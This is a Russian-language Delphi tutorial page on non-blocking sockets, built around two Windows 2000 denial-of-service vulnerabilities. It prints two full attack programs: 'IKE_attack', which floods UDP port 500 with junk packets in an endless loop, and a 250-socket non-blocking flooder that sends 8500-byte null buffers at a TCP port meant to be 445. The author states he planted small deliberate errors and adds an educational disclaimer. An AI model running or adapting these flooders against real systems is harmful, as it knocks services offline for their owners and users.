Create site free
Сокеты 3 (Кодинг неблокирующих сокетов) - Сокеты - Интернет и сети в Delphi - Каталог статей - Mvi - развлечения
Среда, 08.02.2012, 22:01
Музыка, видео, игры - MVI
Главная | Каталог статей | Регистрация | Вход
Меню сайта
Категории каталога
ASP [2]
BackDoor [4]
CGI и Cookies [21]
Dial-up [18]
E-mail [31]
FTP [2]
ICQ [11]
TCP/IP [22]
Telnet [2]
URL [8]
XML [16]
Браузер [101]
Интернет [26]
Компоненты и Интернет [22]
Почтовый клиент [15]
Протоколы [18]
Сетевые диски [6]
Сеть [38]
Сокеты [27]
Файлы и Интернет [18]
Мини-чат
Наш опрос
Какую музыку вы слушаете?
Всего ответов: 173
Главная » Статьи » Интернет и сети в Delphi » Сокеты

Сокеты 3 (Кодинг неблокирующих сокетов)
Автор: Danil
WEB-сайт: http://www.danil.dp.ua

Удаленный отказ работы

Рассмотрим пример 2 дырок в win2k. Описание можно взять на DoS против Microsoft Windows 2000 и DoS против Microsoft Windows 2000 Internet Key Exchange. В код будут добавленны небольшие преднамеренные ошибки (на всякий случай), но после внимательного прочтения статей, проблем с этим быть не должно. Рассмотрим сначала вторую уязвимость и напишем "клиент" на блокирующем сокете. Порт - 500, UDP. Будут использованы функции из первой и второй статей. Вот исходники на Delphi:


program IKE_attack;

uses
WinSock;

const MyComp = 'ADDRESS';

var
wsadata : TWSAData;
sin: TSockAddrIn;
sock: TSocket;
I : Cardinal;
Buf : string;
begin
WSAStartUp(257, wsadata);
// Инициализируем сокет для соединения с удаленным компьютером по UDP
// Протокол - UDP, отправка данных - SOCK_DGRAM
sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sin.sin_family := AF_INET;
// Порт - 500
sin.sin_port := htons(500);
// Преобразуем адрес в четырехбайтное число с помощью функции,
// рассмотреной в первой статье
sin.sin_addr.S_addr:=d_addr(MyComp);

// Соединение
I:=connect(sock,sin,sizeof(sin));
// если нельзя соединиться - выход
if I<=0 then
halt(1);

// Формирование мусора для отсылки
Buf:='';
for I:=1 to 1024 do
Buf:=Buf+chr(30+round(60));

// Посылка мусора с помощью функции,
рассмотренной во второй статье
while true do
DTrsend(Buf,1024,sock);
end.

Все просто. Инициализируем сокет для UDP, соединяемся и отправляем на 500 порт мусор, длинной 1024 байта. Теперь рассмотрим первую уязвимость и напишем "клиента", с использованием неблокирующих сокетов. Соединение - TCP, порт - 445. Будем использовать 250 синхронных сокетов, которые будут инициализироваться, соединяться и посылать буфер из 8500 нулевых символов. Как и в предыдущем примере, выход из программы написать в лом и программу придется, если что, прерывать через TaskManager. Исходя из теории в предыдущих статьях, нам потребуется массив из 250 сокетов и массив, в котором мы будем хранить флаги. Флаги нам нужны для линейной работы сокета. В данном конкретном случае, нужно 3 флага - сокет закрыт, идет соединение, соединение произошло - нужно отправить буфер данных и поставить флаг "сокет закрыт". В цикле идет постоянный опрос по select - в каком состоянии находится сокет с последующей установкой соответствующих флагов и выполнением неблокирующих операций сокетов. Рассмотрим для простоты на одном сокете. Идет инициализация, переход в неблокирующий режим, запуск connect на соединение и установка флага "сокет соединяется". Если по select получили, что уже соединились и можно отправить данные, то происходит установка флага "сокет соединился". В цикле, если встречается флаг "сокет соединился", то происходит отправка данных, установка флага "сокет закрыт" и закрытие сокета. ВНИМАНИЕ!!! Перед закрытием, сокет необходимо перевести в блокирующий режим. Вот исходники на Delphi с подробными комментариями:


program port445TCP;

uses
WinSock;

const
maxproccess=250; // Количество процессов
// Флаги
CLOSE_SOCK=0;
CONNECTING_SOCK=1;//
CONNECTED_SOCK=2; //
// Таймаут
TIME_OUT=10;

var
// Массив сокетов
sock : array [1..maxproccess] of TSocket;
// Массив флагов
stat : array [1..maxproccess] of Byte;
time : array [1..maxproccess] of Byte;
wsa:WSAData;
addr : Tsockaddr;
x : integer;
// Сигнал блокировки сокета
on_sock : LongInt = 1;
off_sock : LongInt = 0;
wfds_empty : Boolean;
wfds : Tfdset;
tv : Ttimeval;
buf : array[1..8500] of char;

begin
// Обнулим буфер отправки
FillChar(Buf,8500,0);

WSAStartup($101,wsa);
// Начальная установка флагов
for x:=1 to maxproccess do
stat[x]:=CLOSE_SOCK;
>repeat // бесконечный цикл

// Инициализация сокетов
for x:=1 to maxproccess do
begin
// Если сокет свободен
if stat[x]=CLOSE_SOCK then
begin
sock[x]:=socket(AF_INET,SOCK_STREAM,0);
time[x]:=TIME_OUT;
// ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
ioctlsocket(sock[x],FIONBIO,on_sock);
addr.sin_family:=AF_INET;
// Порт
addr.sin_port:=htons(455);
// Здесь необходимо указать адрес и используется функция
// преобразования адреса из первой статьи
addr.sin_addr.s_addr:=d_addr('ADDRESS');
// Неблокирующее соединение
connect(sock[x],addr,sizeof(addr));
stat[x]:=CONNECTING_SOCK;
end;
end;

// Использование макросов FD_ для установок и проверки
// нужно ли делать select
FD_ZERO(wfds);
wfds_empty:=true;
for x:=1 to maxproccess do
begin
if stat[x]=CONNECTING_SOCK then
begin
FD_SET(sock[x],wfds);
wfds_empty:=false;
end;
end;

// select-ируем сокеты с флагом "сокет соединяется",
// с установкой таймаута и проверкой на
// возможность отсылки данных
if not wfds_empty then
begin
tv.tv_sec:=1;
tv.tv_usec:=0;
select(0,nil,@wfds,nil,@tv);
end;

// Проверка тайм-аута
for x:=1 to maxproccess do
begin
if stat[x]<>CLOSE_SOCK then
begin
dec(time[x]);
// Если время на соединение истекло -
// закрываем сокет с установкой флага
if time[x]=0 then
begin
stat[x]:=CLOSE_SOCK;
// ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
// перед закрытием
ioctlsocket(sock[x],FIONBIO,off_sock);
closesocket(sock[x]);
end;
end;

// Проверка на соединение (соединились ли уже)
if stat[x]=CONNECTING_SOCK then
begin
// Если соединение уже произошло и можно отправлять данные -
// установим флаг
if FD_ISSET(sock[x],wfds) then
stat[x]:=CONNECTED_SOCK;
end;

// Проверка на возможность отправки
if stat[x]=CONNECTED_SOCK then
begin
FD_CLR(sock[x],wfds); // обнулим буфер сокета
send(sock[x],buf[1],8500,0);
// Отправка данных и закрытие сокета
stat[x]:=CLOSE_SOCK;
// ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
// перед закрытием
ioctlsocket(sock[x],FIONBIO,off_sock);
closesocket(sock[x]);
end;
end;
until
false;
end.

Это самый простейший пример - только отправка. Для использования приема, необходимо подключить большее количество флагов и второй параметр select. В этом коде также нет проверки ошибок, но дописать код - это уже детали. Не хотелось излишне загромождать исходники.

Клиент на синхронном сокетном движке

Более подробную информацию о неблокирующих сокетах и разных примерах их использования, можно получить посмотрев исходники моей программы "DScan" v.1.3. Для создания сокетного движка использовались неблокирующие сокеты, работающие на отдельных потоках для каждого сервиса программы. По программе "DScan" версий 1.2 и 1.3, можно оценить скорость и устойчивость двух разных подходов к программированию сокетных движков. Теоретически, преимущества и недостатки я рассматривал в предыдущих статьях

В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к "синему экрану".

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.


Категория: Сокеты | Добавил: mvi (04.03.2009)
Просмотров: 141 | Рейтинг: 0.0/0 |
Всего комментариев: 0

При копировании материалов данного сайта, ссылка на него обязательна!

Имя *:
Email:
Код *:
Форма входа
E-mail:
Пароль:
Поиск
Друзья сайта
Анекдоты
Реклама
Статистика


Рейтинг@Mail.ru

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Copyright MyCorp © 2012 Хостинг от uCoz